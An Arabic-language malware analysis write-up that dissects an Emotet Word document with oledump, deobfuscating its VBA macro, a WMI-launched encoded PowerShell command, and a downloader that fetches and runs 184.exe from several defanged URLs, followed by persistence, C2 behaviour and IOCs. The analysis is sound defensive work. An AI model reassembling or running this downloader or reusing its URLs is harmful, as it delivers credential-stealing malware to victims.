Emotet Malware analysis (تحليل البرمجية الخبيثة Emotet )

أهلا بكم في هذه المقالة سوف نقوم بتحليل البرمجية الخبيث Emotet

مقدمة

Emotet برمجية خبيثة ظهرت لأول مرة في 2014 والتي تهدف لسرقة المعلومات البنكية للمستخدم والمعلومات الحساسة مثل email, password وغيرها قد تنتقل هذه البرمجية من خلال

  • Microsoft Word 97-2003 Document (.DOC)
  • Microsoft Word XML Document (.XML)
  • Office Open XML Document (.DOCX)
  • Portable Document Format (PDF)
    في هذه المقالة سوف أقوم بتحليل عينه لهذه البرمجية من نوع Microsoft Word 97-2003 Document (.DOC)

## عناصر المقالة

  • تحليل الكود
  • تحليل أسلوب البرمجية
  • IOCs
  • الأدوات المستخدمة

    التحليل

    تحليل الكود

    في بداية الأمر عند تحليل أي ملف يفضل أن نأخذ نظرة عامة على الملف نتعرف على نوع الملف تاريخ انشاءة الحجم وغيرة. ويمكن الاستعانة بعدة أدوات مثل:

  • file لمعرفة نوع الملف
    file FileName
  • Exiftool أيضًا لإستخراج Metadata للملف
    exiftool FileName
  • oledump.py -M “ سوف نقوم بإستخدام هذه الأداة كثيرًا أثناء التحليل لكن في هذه الأثناء نحتاج فقط استخراج Metadata من الملف عن طريق خيار M- “
    oledump.py -M FileName نلاحظ بأن نوع الملف وإصدارة Microsoft Word 97-2003 والذي يعد OLE documents[1] ويسمى أيضًا Composite Document File V2 Document وهي نوع من الملفات تسمح بتخزين الملفات و الكائنات بملف واحد ب الديسك.

بعد تحديد نوع الملف يمكن تحديد الأداوات التي سيتم الأستعانة بها لتحيل الملف وهنا سوف أقوم بإختيار

  • oledump.py
    بداية سوف أستفيد من هذه الأداة لمعرف ما إذا كان الملف يحتوي على VBA macro أو لا، والذي يعد سلسلة من الأوامرتكتب بلغة Visual Basic for Applications يمكن استخدامها لتنفيذ عدة أوامر أو لأتمتة مهمة متكررة.
    يتم إستخدام macro في البرمجيات الخبيثة لتنفيذ عدة أوامر في ملفات Microsoft Office
    (.doc .docx .xml .xlsx) والذي تسمح لكاتب البرمجية الخبيثة أن يقوم بكتابة عدة أوامر تعمل أثناء تشغيل هذا الملف.

بكتابة الأمر التالي
oledump.py FileName
والذي سيقوم بتحليل محتويات الملف كاملة وسيقوم بإستخراج streams (الملفات داخل المستند).
نلاحظ بالنتيجة وجود حرف M و m.
والذي يعنيان وجود macro داخل المستند تحديدًا بهذه streams.
m: يعني احتواء هذا stream على macro ولكن الحرف الصغير يعني احتواء هذا stream على بيانات (Attributes) حول ملف VBA class .

M: الحرف الكبير يعني إحتواء stream على الكود الفعلي VBA code.
في مثالنا هذا نلاحظ وجود macro ب 10 ملفات وهي : 8,9,10,11,12,19,20,21,22,23
ونلاحظ أيضًا وجود ال VBA code الفعلي في الملفين 11 و 22 سوف أقوم بإستخراج VBA code وحفظة بملف خارجي لتحليل بشكل أدق بإستخدام الأمر

oledump.py -s 11 -v emotetSarahAljaber.doc >> stream11.txt

oledump.py -s 22 -v emotetSarahAljaber.doc >> stream22.txt

ويمكن أيضا أن نقوم بكتابة الأمر لإستخراج كافة الملفات steams
a for all
oledump.py -s a -v emotetSarahAljaber.doc >> Attributes.txt

بعد استخراجنا للكود يمكن البدء الان بتحليلة. سوف نقوم بالبدء ب ملف 11
عند المرور ب الكود سوف نلاحظ استخدام تقنية obfuscation والتي تهدف لجعل قراءة الكود أصعب على المحلل من خلال تشفيرها أو التلاعب ب الحروف والمسميات أيضًا وجود عدة متغيرات لا معنى لها وجودها فقط من أجل تشتيت المحلل.

بداية بالصورة أدناة نلاحظ وجود autopen التي تعني باختصار تشغيل macro لحظة تشغيل المستند. بالمرور لبقية الكود سوف نلاحظ أنه تم استخدام obfuscation للتضليل نقوم بالمرور ب الكود للحصول على قيم ذات معنى هنا نجد أولًا
FHWTtiz = hUV5Au + "winmgmts:Wi" + wUUrjZvV + "n32_Pro cessstartup" + FwM5if7o

FHWTtiz هو المتغير والذي يحتوي على hUV5Au + “winmgmts:Wi” + wUUrjZvV + “n32_Pro cessstartup” + FwM5if7o

عند البحث ب الكود نجد أن hUV5Au و wUUrjZvV و FwM5if7o متغيرات لا قيمة لها بما يعني أنها تساوي 0 أو لا شيء.
فتصبح قيمة FHWTtiz الحقيقة
` FHWTtiz = “winmgmts:Wi” + “n32_Pro cessstartup” `
مما يعني
` FHWTtiz = “winmgmts:Win32_Processstartup” `

Win32_ProcessStartup [2] والتي تعد أحد محتويات Windows Management Instrumentation والتي تعني ب تشغيل أحد برامج Windows المعروفة.

بالمرور ببقية الكود نلاحظ أيضًا وجود
Set apVH2Z = CreateObject(FHWTtiz)

دالة CreateObject أحد دوال VBA وفي هذا المثال تأخذ قيمة FHWTtiz والذي قمنا بتحليلها مسبقا والتي تساوي winmgmts:Win32_Processstartup

عند المرور ببقية الكود بملف 11 لن أجد قيم ذات معنى لذلك سوف أقوم بالإنقال لملف الاخر 22

تماما مثل ما وجدنا بالملف الأول استخدام obfuscation ووجود عدة متغيرات لا قيمة لها للتظليل.

عند المرور بالملف سوف نلاحظ وجود متغير FHWTtiz والذي يساوي FHWTtiz = R7LMPC + "winmgmts:Wi" + CMSLAJ + "n32_Process" + j91NATK عند البحث عن قيم R7LMPC و CMSLAJ و j91NATK سوف نجد أنها تساوي صفر أي لاشيء لتصبح القيمة الحقيقة ل FHWTtiz
FHWTtiz = "winmgmts:Wi" + "n32_Process"

مما يعني FHWTtiz = "winmgmts:Win32_Process"
winmgmts:Win32_Process والتي تعد أحد محتويات Windows Management Instrumentation والتي تعني ب تمثيل أحد برامج Windows المعروفة.

مرورا بالكود سوف نجد

CreateObject(FHWTtiz).Create# icqLD3A + "pow" + Q_8mQM + ThisDocument.P1Ylfc5 + vKjPJu + ThisDocument.XMW15zI + ThisDocument.FFuiAR + q49dRBv8, fi4_VSc, apVH2Z, qkAsnn1Y

كما ذكرت دالة CreateObject أحد دوال VBA وفي هذا المثال تأخذ قيمة FHWTtiz والذي قمنا بتحليلها بالملف الثاني 22 والتي تساوي winmgmts:Win32_Process

عند النظر ب المحتوى سوف نجد عدة متغيرات لا قيمة لها وهي
icqLD3A و Q_8mQM و vKjPJu و q49dRBv8, fi4_VSc, apVH2Z, qkAsnn1Y

لتصبح القيمة الحقيقة هنا
` CreateObject(FHWTtiz).Create “pow” + ThisDocument.P1Ylfc5 + ThisDocument.XMW15zI + ThisDocument.FFuiAR `

دالة create أحد دوال VBA والتي تقوم بأخذ البيانات التالية:

  • CommandLine
  • CurrentDirectory
  • ProcessStartupInformation
  • ProcessId

عند البحث عن قيم:

  • ThisDocument.P1Ylfc5
  • ThisDocument.FFuiAR
  • ThisDocument.XMW15
    لن نجد لها قيمة فعليه ب الملف 22 لكن نلاحظ ان ThisDocument قد يشير الى قيم بنفس المستند (MSForms)[3] إما أن تكون:
  • Collections
  • controls
  • objects
  • Dialog boxes
  • Events
  • Examples
  • Methods
  • Properties

لذلك سوف نعود ل بقية الملفات stream الموجودة بالمستند لمعرفة القيمة الحقيقة لهذه المتغيرات.
عند المرور بكافة الملفات سوف نجد أن ملف 9 يحتوي على تعريف للقيم التي نبحث عنها.

================================================

  • Attribute VB_Control = “FFuiAR, 0, 0, MSForms, ComboBox”
  • Attribute VB_Control = “P1Ylfc5, 1, 1, MSForms, ComboBox”
  • Attribute VB_Control = “XMW15zI, 2, 2, MSForms, ComboBox”

================================================

هنا نلاحظ وجود MSForms للقيم الثلاثة FFuiAR و P1Ylfc5 و XMW15zI تحتوي على controls و في مثالنا هنا أحتوي على ComboBox والذي يعد أحد MSForms controls

لهذه ال controls مجموعة من القيم قد لا يتعرف عليها oledump أو الأدوات الأخرى على أنها تحتوي على macro لذلك قد تبدوا خاليه/خاوية.

لكن المستند يقوم بحفظ هذه البيانات فيما يسمى ObjectPool والتي تحتوي على قيم هذه المتغيرات.

عند كتابة الأمر

oledump.py emotetSarahAljaber.doc

سوف نلاحظ ب المخرجات وجود هذه ObjectPool تشير كل مجموعة منها الى متغير من المتغيرات الثالثة FFuiAR و P1Ylfc5 و XMW15zI

عند استخراج الأسماء بكتابة الأمر:

oledump.py -s #StreamNumber emotetSarahAljaber.doc

StreamNumber نقوم بوضع رقم الملف الذي يشير للأسم في حالتنا التاليه ملف 25 و 29 و 33

لنجد أن:

  • 1620852731 = FFuiAR
  • 1620852732 = P1Ylfc5
  • 1620852733 = XMW15zI

عند استخراج بقية القيم وتحديدًا محتوى هذه المتغيرات نلاحظ اكتمال معنى الأمر السابق

CreateObject(FHWTtiz).Create "pow" + ThisDocument.P1Ylfc5 + ThisDocument.XMW15zI + ThisDocument.FFuiAR

لتصبح

CreateObject(FHWTtiz).Create "pow" + "ersh" + "ell -nop -e "+ "obfuscated powershell code "

القيمة النهاية للأمر:

CreateObject(winmgmts:Win32_Process).Create " powershell -nop -e " + "obfuscated powershell code "

في هذه الأثناء سوف نقوم بإستخراج قيمة كود powershell لمعرفة محتواه والأوامر التي يقوم بها.

بالخطوات التالية:

  1. إستخراج الكود في مثالنا هذا الملف ب base64
  2. فك base64 بالاستعانة ب CyberChef

  3. ترتيب الكود واستخراج القيم الصحية لكل متغير
  • بداية نلاحظ متغير ` $tZTLXzZq=$env:userprofile+’'+$d1mU0azd+’.exe’;`

نقوم بترتيبه ليصبح $tZTLXzZq=$env:userprofile\'+$d1mU0azd+'.exe';

عند البحث عن متغير $d1mU0azd نجد قيمته تساوي 184

فتصبح القيمة النهاية للمتغير tZTLXzZq
$tZTLXzZq=$env:userprofile\184.exe

  • بعد ذلك نقوم بفك المتغير التالي pTl4Jz

$pTl4Jz=.('ne' +' w-object' ) nET.W ' EbC' Li' Ent;

ليصبح $pTl4Jz=.('new-object') net.webclient;

  • بعد ذلك متغير NUzAMAR والذي نلاحظ انه يحتوي على سلسة من القيم domains

$NUzAMAR='hxxp://agavea.com.br/font/tMfyxzMEnQ/@hxxp://news-week.ru/2018/wvq6nzd_kywgcjzgi-273/@hxxp://ab.fitzio.com/cgi-bin/opiFtEAsf/@hxxp://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3_blm4xo-69526194/@hxxp://thingsmadeforyouapps.com/wp-admin/VpVOXxek/'.SPLit('@');

وفي نهاية المتغير مناداة للدالة SPLit تفصل بين القيم @
لتصبح القيم النهاية للمتغير NUzAMAR

$NUzAMAR='hxxp://agavea.com.br/font/tMfyxzMEnQ/ hxxp://news-week.ru/2018/wvq6nzd_kywgcjzgi-273/ hxxp://ab.fitzio.com/cgi-bin/opiFtEAsf/ hxxp://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3_blm4xo-69526194/ hxxp://thingsmadeforyouapps.com/wp-admin/VpVOXxek/';

  • ننتقل للمتغير التالي نلاحظ foreach تقوم في كل مرة بمناداة قيمة من قيم السلسة NUzAMAR
    foreach($j5YzrQKQ in $NUzAMAR)

NUzAMAR قيم domains التي قمنا باستخراجها بالفقرة السابقة.

$pTl4Jz.DOwNlOADfiLe($j5YzrQKQ, $tZTLXzZq); $SHHj3v='Mpi_Cz1s'; If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421) {[Diagnostics.Process]::sTarT($tZTLXzZq);

1- قيمة pTl4Jz إستخرجناها سابقا والتي تساوي ('new-object') net.webclient;

2- قيمة tZTLXzZq إستخرجناها سابقا والتي تساوي env:userprofile\184.exe

3- If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421) تساوي

If (('Get-Item') $env:userprofile\184.exe).LenGTh -ge 31421)

4- ` {[Diagnostics.Process]::sTarT($tZTLXzZq);` تساوي

` If ((.(‘Get-Item’) $env:userprofile\184.exe).LenGTh -ge 31421)`

5- {[Diagnostics.Process]::sTarT($tZTLXzZq); تساوي

{[Diagnostics.Process]::start($env:userprofile\184.exe);

لتصبح القيمة النهاية للكود بهذا الشكل والذي يعني أن عند تشغيلpowersheel سوف يقوم بالاستعانة ب Net.WebClient لزيارة هذه عناوين URL المذكورة بالكود من ثم تنزيل ملف ` 184.exe` لجهاز الضحية من ثم التأكد من حجم الملف في حال كان أكبر من أو يساوي 31421 فسيقوم بتشغيلة بجهاز الضحية.

تحليل أسلوب الملف

لتحليل أسلوب الملف نلاحظ بالبداية من خلال تحليلنا السابق:

  1. أولًا تشغيل مستند word (WINWORD.EXE)
  2. ثانيًا تشغيل macro والذي قام بمناداة wmi لتشغيل powershell
  3. من ثم من خلال الإستعانة ب Net.WebClient قام بتنزيل ملف ` 184 `

    قمت بالإستعانة ب any.run لمعرفة ماذا سيحصل بعد تحميل ملف ويمكن الإستعانة بأي sandbox لهذا الغرض.

بداية نلاحظ أنه تم تنزل الملف ب المسار

"C:\Users\admin\184.exe" ثم إنشاء مجلد sansidaho في نفس المسار وتنزيل ملف sansidaho.exe والذي بدورة سيقوم أولا بتغير قيم registry تحديدا

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run والتي تهدف لتشغيل ` sansidaho.exe` في كل مره يقوم فيها المستخدم بتسجيل الدخول للجهاز الكمبيوتر

من ثم الإتصال ب c2c للتجسس وسرقة معلومات الضحية

أيضا سوف يقوم بتنزيل ملف ` oDccNyQ7awhQkLyrC.exe ` والذي بدورة يعيد تنزيل ملف ` sansidaho.exe`

IOCs

بعد أن أخذنا نظرة سريعة على بتحليل البرمجية الخبيثة سوف نستخرج هنا IOCs منها:

command and control

من خلال تشغيل emotet سوف نلاحظ أن هناك تواصل بين جهاز الضحية وجهاز المخترق والذي يمكن المخترق من أخذ بيانات الضحية ونرى في الصورة أدناة أنه تم إرسال البيانات على هئية cookie مشفرة ل جهاز المخترق c2 server

جميع قيم IOCs المستخرجة

الأدوات المستخدمة

1- file
2- Exiftool
3- oledump.py

المصادر:

[1] https://docs.microsoft.com/en-us/cpp/mfc/ole-background?view=msvc-160

[2] https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

[4] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/reference-microsoft-forms

oledump.py

Emotet Sample

في الختام قرأة وتعلم ممتع و ل السؤال والاستفسار يمكنكم إيجادي بتويتر على الحساب @s4o_o

جميع الحقوق محفوظة

كُتب في 24/04/2021